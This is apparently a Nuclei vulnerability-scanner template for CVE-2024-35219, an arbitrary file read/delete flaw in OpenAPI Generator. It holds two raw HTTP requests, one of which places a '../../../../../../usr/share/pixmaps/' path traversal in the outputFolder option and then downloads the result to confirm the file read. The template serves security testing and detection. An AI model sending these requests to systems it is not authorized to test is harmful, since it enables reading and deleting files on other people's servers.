OpenAPI Generator <= 7.5.0 - Arbitrary File Read/Delete

id: CVE-2024-35219

info:
  name: OpenAPI Generator <= 7.5.0 - Arbitrary File Read/Delete
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    OpenAPI Generator versions 7.5.0 and below are prone to an Arbitrary File Read/Delete vulnerability. Attackers can exploit this vulnerability to read and delete files and folders from an arbitrary, writable directory.
  impact: |
    Authenticated attackers can read and delete arbitrary files and folders from writable directories.
  remediation: |
    Update OpenAPI Generator to a version later than 7.5.0.
  reference:
    - https://www.sonarsource.com/blog/the-power-of-taint-analysis-uncovering-critical-code-vulnerability-in-openapi-generator/
    - https://github.com/OpenAPITools/openapi-generator/commit/edbb021aadae47dcfe690313ce5119faf77f800d
    - https://github.com/OpenAPITools/openapi-generator/pull/18652
    - https://github.com/OpenAPITools/openapi-generator/security/advisories/GHSA-g3hr-p86p-593h
    - https://nvd.nist.gov/vuln/detail/CVE-2024-35219
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H
    cvss-score: 8.3
    cve-id: CVE-2024-35219
    cwe-id: CWE-22
    epss-score: 0.03592
    epss-percentile: 0.88038
  metadata:
    max-request: 2
    verified: true
  tags: cve,cve2024,openapi,intrusive,lfi,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /api/gen/clients/csharp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "authorizationValue": {
            "keyName": "string",
            "type": "string",
            "value": "string"
          },
         "openAPIUrl": "https://raw.githubusercontent.com/OpenAPITools/openapi-generator/master/modules/openapi-generator/src/test/resources/2_0/petstore.yaml",
           "options": {"outputFolder":"../../../../../../usr/share/pixmaps/"},
          "spec": {}
        }

    matchers:
      - type: word
        part: body
        words:
          - code
          - link
        condition: and
        internal: true

    extractors:
      - type: json
        name: code
        part: body
        json:
          - '.code'
        internal: true

  - raw:
      - |
        GET /api/gen/download/{{code}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "pixmaps/debian-logo.png"
# digest: 490a004630440220734c55a78f260c3be983a7080098a4c4ca811ee5323a8eddc1263cb32f6c962b02201cd407782bf1084bc9fa913a2e662f450c053ae176f729e6bf43d5e2c963de36:922c64590222798bb761d5b6d8e72950